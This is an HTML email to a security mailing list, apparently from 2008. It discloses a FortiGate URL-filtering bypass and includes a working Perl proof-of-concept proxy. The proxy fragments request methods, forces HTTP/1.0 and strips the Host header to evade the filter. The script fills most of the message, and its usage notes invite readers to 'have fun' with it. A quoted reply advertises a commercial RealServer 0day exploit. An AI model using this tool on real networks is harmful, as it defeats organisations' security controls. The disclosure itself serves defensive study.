<html><head><style type="text/css"><!-- DIV {margin:0px;} --></style></head><body><div style="font-family:times new roman, new york, times, serif;font-size:12pt">I dont know if its new but i code it during a PentTest and i would<br>like to share it with you.<br>It is based on code developed By sinhack research labs:<br><a href="http://sinhack.net/URLFilteringEvasion/sakeru.tx" target="_blank">http://sinhack.net/URLFilterin<wbr>gEvasion/sakeru.tx</a><br><br>Description:<br>"Fortinet's URL blocking functionality can be bypassed by<br>specially-crafted HTTP requests that fulfill 3 factors:<br><br>1.- HTTP Requests are terminated by the CRLF characters.<br>2.- Forcing to talk via HTTP/1.0 version so that dont send the host header.<br>3.- Finally, by Fragmenting the GET or POST requests<br><br>Analysis:<br><br>Fortinet's past vulnerability<br>(<a href="http://www.fortiguardcenter.com/advisory/FGA-2006-10.html"
 target="_blank">http://www.fortiguardcenter<wbr>.com/advisory/FGA-2006-10.html</a>) said:<br><br>Moreover, while it is possible "to bypass the functionality via an<br>HTTP/1.0 request with no host header", the use of a host field is<br>actually required to access a specific site on multi-homed web sites.<br>When no host header is used, the intended web site is actually not<br>displayed. Therefore, there is no risk.<br><br>Macula's Analysis: If you dont have properly installed some AV, HIPS,<br>etc, through this vuln, a workstation can connect to a malicious<br>"Hacking Site" and get infected. Also through this vuln, you can<br>connect to different porn sites without problems. And no matter if its<br>or not multi-homed web sites. So we consider its not a low risk.<br><br><br>Products affected:<br>We only tested it on:<br>fortiGate-1000 3.00, build 040075,070111<br><br>Solution:<br>We tried to contact the vendor, but without any
 response.<br><br>PoC:<br><br>#!/usr/bin/perl<br><br>##############################<div id="1exs" class="ArwC7c ckChnd"><wbr>##########<br># fortiGuard.pl v0.1 - <a href="http://www.macula-group.com/" target="_blank">http://www.macula-group.com/</a><br>#<br># # URL Filtering Bypass proof of concept<br># Author: Daniel Regalado aka Danux... Hacker WannaBe!!! (only some<br>minnor modifications from sinhack code)<br># Based on PoC from sinhack research labs -&gt; sakeru.pl<br>#<br>#FortiGuard's URL blocking functionality can be bypassed by<br>specially-crafted HTTP requests that are terminated by the CRLF<br>character<br>#instead of the LF characters and changing version of HTTP to 1.0<br>without sending Host: Header and Fragmenting the GET and POST Requests<br>#<br>#Tested On: fortiGate-1000 3.00, build 040075,070111<br>#<br>#This code has been released Only for educational purposes. The author<br>cannot be held responsible for any bad use.<br>#
 Usage:<br># 1) perl fortiGuard.pl<br># 2) Configure your browser's proxy at localhost:5050<br># 3) Have fun.<br><br># --- Start Of Script---<br><br>use strict;<br>use URI;<br>use IO::Socket;<br><br>my $showOpenedSockets=1; #Activate the console logging<br>my $debugging=0;<br><br><br>my $server = IO::Socket::INET-&gt;new ( #Proxy Configuration<br> &nbsp; LocalPort =&gt; 5050, #Change the listening port here<br> &nbsp; Type =&gt; SOCK_STREAM,<br> &nbsp; Reuse =&gt; 1,<br> &nbsp; Listen =&gt; 10);<br><br>binmode $server;<br>print "Waiting for connections on port 5050 TCP...\n";<br><br>while (my $browser = $server-&gt;accept()) { #When a connection occure...<br> &nbsp; binmode $browser;<br> &nbsp; my $method="";<br> &nbsp; my $content_length = 0;<br> &nbsp; my $content = 0;<br> &nbsp; my $accu_content_length = 0;<br> &nbsp; my $host;<br> &nbsp; my $hostAddr;<br> &nbsp; my $httpVer;<br> &nbsp; my $line;<br><br> &nbsp; while (my $browser_line =
 &lt;$browser&gt;) { #Get the Browser commands<br> &nbsp; &nbsp; &nbsp;unless ($method) {<br> &nbsp; &nbsp; &nbsp; &nbsp;($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+)<br>+(\S+) +(\S+)/;<br><br> &nbsp; &nbsp; &nbsp; &nbsp;my $uri = URI-&gt;new($hostAddr);<br><br> &nbsp; &nbsp; &nbsp; &nbsp;$host = IO::Socket::INET-&gt;new ( #Opening the connexion to the<br>remote host<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PeerAddr=&gt; $uri-&gt;host,<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PeerPort=&gt; $uri-&gt;port ) or die "couldn't open $hostAddr";<br><br><br> &nbsp; &nbsp; &nbsp; &nbsp;if ($showOpenedSockets) { #Connection logs<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #print "Source:".$browser-&gt;peerhost."<wbr>\n";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; my ($sec,$min,$hour,$mday,$mon,<wbr>$year,$wday,$yday,$isdst) =<br>localtime(time);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $year += 1900;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mon += 1;<br> &nbsp; &nbsp;
 &nbsp; &nbsp; &nbsp; printf ("\n%04d-%02d-%02d %02d:%02d:%02d<br>",$year,$mon,$mday,$hour,$min,<wbr>$sec);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print $browser-&gt;peerhost." -&gt; ".$uri-&gt;host.":".$uri-&gt;port."<br>$method ".$uri-&gt;path_query."\n";;<br> &nbsp; &nbsp; &nbsp; &nbsp;}<br><br> &nbsp; &nbsp; &nbsp; &nbsp;binmode $host;<br> &nbsp; &nbsp; &nbsp; &nbsp;my $char;<br> &nbsp; &nbsp; &nbsp; &nbsp;if ($method == "GET") { #Fragmention the "GET" query<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach $char ('G','E','T',' ') { #I know, there is better<br>way to do it,<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print $host $char; #but I'm tired and lazy...<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br> &nbsp; &nbsp; &nbsp; &nbsp;} elsif ($method == "POST") { #Fragmentation of "POST" query<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach $char ('P','O','S','T',' ') {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print $host $char;<br>
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br> &nbsp; &nbsp; &nbsp; &nbsp;} else {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print $host "$method "; #For all the other methods, send<br>them without modif<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print "*";<br> &nbsp; &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp; &nbsp;$httpVer="HTTP/1.0"; #Forzando a version 1.0<br> &nbsp; &nbsp; &nbsp; &nbsp;print $host $uri-&gt;path_query . " $httpVer\r\n"; #Send the rest<br>of the query (url and http version)<br> &nbsp; &nbsp; &nbsp; &nbsp;#next;<br> &nbsp; &nbsp; &nbsp;}<br><br> &nbsp; &nbsp; &nbsp;$content_length = $1 if $browser_line=~/Content-length<wbr>: +(\d+)/i;<br> &nbsp; &nbsp; &nbsp;$accu_content_length+=length $browser_line;<br><br> &nbsp; &nbsp; &nbsp;foreach $line (split('\n', $browser_line)) { #Fragment the Host query<br> &nbsp; &nbsp; &nbsp; &nbsp;if ($line =~ /^Host:/ ) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#my $char="";<br> &nbsp;
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #my $word="";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #my $bogus="";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #($bogus,$word) = split(' ', $line);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #foreach $char ('H','o','s','t',':',' ') {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #print $host $char;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #}<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #print $host $word."\r\n";<br><br> &nbsp; &nbsp; &nbsp; &nbsp;} else {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print $host "$line\r\n"; #For all the other lines, send<br>them without modif<br> &nbsp; &nbsp; &nbsp; &nbsp;}<br><br> &nbsp; &nbsp; &nbsp; &nbsp;if ( $debugging == 1 &amp;&amp; $method == "POST" ) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print "$line\n";<br> &nbsp;
 &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp;#Danux Clave para terminar el Request y enviarlo al servidor<br>web, de otra forma se queda esperando este ultimo la peticion<br> &nbsp; &nbsp; &nbsp;print $host "\r\n";<br><br><br> &nbsp; &nbsp; &nbsp;last if $browser_line =~ /^\s*$/ and $method ne 'POST';<br> &nbsp; &nbsp; &nbsp;if ($browser_line =~ /^\s*$/ and $method eq "POST") {<br> &nbsp; &nbsp; &nbsp; &nbsp; $content = 1;<br> &nbsp; &nbsp; &nbsp; &nbsp; last unless $content_length;<br> &nbsp; &nbsp; &nbsp; &nbsp; next;<br> &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp;#print length $browser_line . " - ";<br> &nbsp; &nbsp; &nbsp;if ($content) {<br> &nbsp; &nbsp; &nbsp; &nbsp; $accu_content_length+=length $browser_line;<br> &nbsp; &nbsp; &nbsp; &nbsp; last if $accu_content_length &gt;= $content_length;<br> &nbsp; &nbsp; &nbsp;}<br> &nbsp; }<br><br> &nbsp; $content_length = 0;<br> &nbsp; $content = 0;<br> &nbsp;
 $accu_content_length = 0;<br><br> &nbsp; my $crcount=0;<br> &nbsp; my $totalcounter=0;<br> &nbsp; my $packetcount=0;<br><br> &nbsp; while ( my $host_line = &lt;$host&gt; ) { #Reception of the result from the server<br><br> &nbsp; &nbsp; &nbsp;$totalcounter+=length $host_line;<br> &nbsp; &nbsp; &nbsp;print $browser $host_line; #Send them back to the browser<br> &nbsp; &nbsp; &nbsp;#print $host_line if ( ! $content ); #Send them back to the browser<br> &nbsp; &nbsp; &nbsp;if ($host_line=~/Content-length: +(\d+)/i) {<br> &nbsp; &nbsp; &nbsp; $content_length = $1;<br> &nbsp; &nbsp; &nbsp; #print " * Expecting $content_length\n"; #if ($debugging);<br> &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp;if ($host_line =~ m/^\s*$/ and not $content) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $content = 1;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #print " * Beginning of the data section\n";<br> &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp;if ($content) {<br> &nbsp;
 &nbsp; &nbsp; #$accu_content_length+=length $host_line;<br> &nbsp; &nbsp; &nbsp; if ($content_length) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#print " * binary data section\n";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;my $buffer;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;my $buffersize = 512;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ($content_length &lt; $buffersize) { $buffersize = $content_length; }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;while ( my $nbread = read($host, $buffer, $buffersize)) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print "#";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $packetcount++;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$accu_content_length+=$nbread;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#last if $accu_content_length &gt;= $content_length;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print $browser $buffer; #Send them back to the browser<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
 &nbsp;#print $buffer;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#print "\n(#$packetcount) ";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#print "total: $totalcounter content_length:<br>$content_length acc: $accu_content_length\t";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;my $tmp1 = $content_length - $accu_content_length;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#print "length-accu= $tmp1\n";<br><br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ($tmp1 &lt; $buffersize) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $buffersize = $tmp1;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #print "new buffersize = $buffersize\n";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #print "Out of the content while\n";<br> &nbsp; &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp;}<br><br> &nbsp; &nbsp; &nbsp;#print
 "(#$packetcount) ";<br> &nbsp; &nbsp; &nbsp;#print "total: $totalcounter content_length: $content_length<br>acc: $accu_content_length\t";<br> &nbsp; &nbsp; &nbsp;#my $tmp1 = $content_length - $accu_content_length;<br> &nbsp; &nbsp; &nbsp;#print "length-accu= $tmp1\n";<br> &nbsp; &nbsp; &nbsp;last if ($accu_content_length &gt;= $content_length and $content ==<br>1 and $content_length);<br> &nbsp; }<br> &nbsp; #print "\nOut for a while\n";<br><br><br> &nbsp; if ($browser) { $browser -&gt; close; } #Closing connection to the browser<br> &nbsp; if ($host) { $host -&gt; close; } #Closion connection to the server<br><br>}<br><br># --- EOF ---<br><font color="#888888"><br></font></div><div>&nbsp;</div>Danux, CISSP, OSCP<br>Offensive Security Consultant<br>Macula Security Consulting Group<br>www.macula-group.com<div style="font-family: times new roman,new york,times,serif; font-size: 12pt;"><br><br><div style="font-family: times new roman,new york,times,serif;
 font-size: 12pt;">----- Mensaje original ----<br>De: "admin@gleg.net" &lt;admin@gleg.net&gt;<br>Para: dailydave@lists.immunitysec.com<br>CC: info@gleg.net<br>Enviado: jueves, 3 de enero, 2008 4:26:15<br>Asunto: [Dailydave] 0day RealServer exploit demo<br><br>Hi,<br><br>Here is another quick demo created with vnc2swf, our old 0day&nbsp; <br>RealServer/Helix Server&nbsp; exploit - <a href="http://gleg.net/realserver.html" target="_blank">http://gleg.net/realserver.html</a><br><br>The demonstrated CANVAS module exploits a heap overflow vulnerability&nbsp; <br>in RealServer. The exploit was available to our clients since Oct 3,&nbsp; <br>2007.<br><br>Feel free to email me if any questions appear.<br><br>Happy New Year!<br><br>Regards,<br>Evgeny Legerov<br><br>_______________________________________________<br>Dailydave mailing list<br><a ymailto="mailto:Dailydave@lists.immunitysec.com"
 href="mailto:Dailydave@lists.immunitysec.com">Dailydave@lists.immunitysec.com</a><br><a href="http://lists.immunitysec.com/mailman/listinfo/dailydave" target="_blank">http://lists.immunitysec.com/mailman/listinfo/dailydave</a><br></div><br></div></div><br>




      <hr size=1><br><font face="Verdana" size="-2">¡Capacidad ilimitada de almacenamiento en tu correo!<br>No te preocupes más por el espacio de tu cuenta con Correo Yahoo!:<br>
http://correo.espanol.yahoo.com/</font></body></html>